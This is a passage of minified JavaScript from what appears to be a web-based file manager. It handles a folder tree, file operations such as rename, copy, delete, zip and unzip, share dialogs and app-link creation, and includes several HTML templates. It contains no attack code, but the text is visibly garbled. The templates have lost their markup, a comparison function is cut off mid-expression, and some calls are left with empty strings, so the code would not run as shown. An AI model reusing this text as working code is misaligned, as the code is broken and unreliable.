0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"list="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof t&&(Tips.close(e),t(e.info))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.USER_SHARE)return Tips.tips(LNG.path_can_not_action,!1),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,t){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving) -},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},S=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},j=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},E=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},z=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(z(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=z(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:O,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:E,favRemove:j}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n\n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
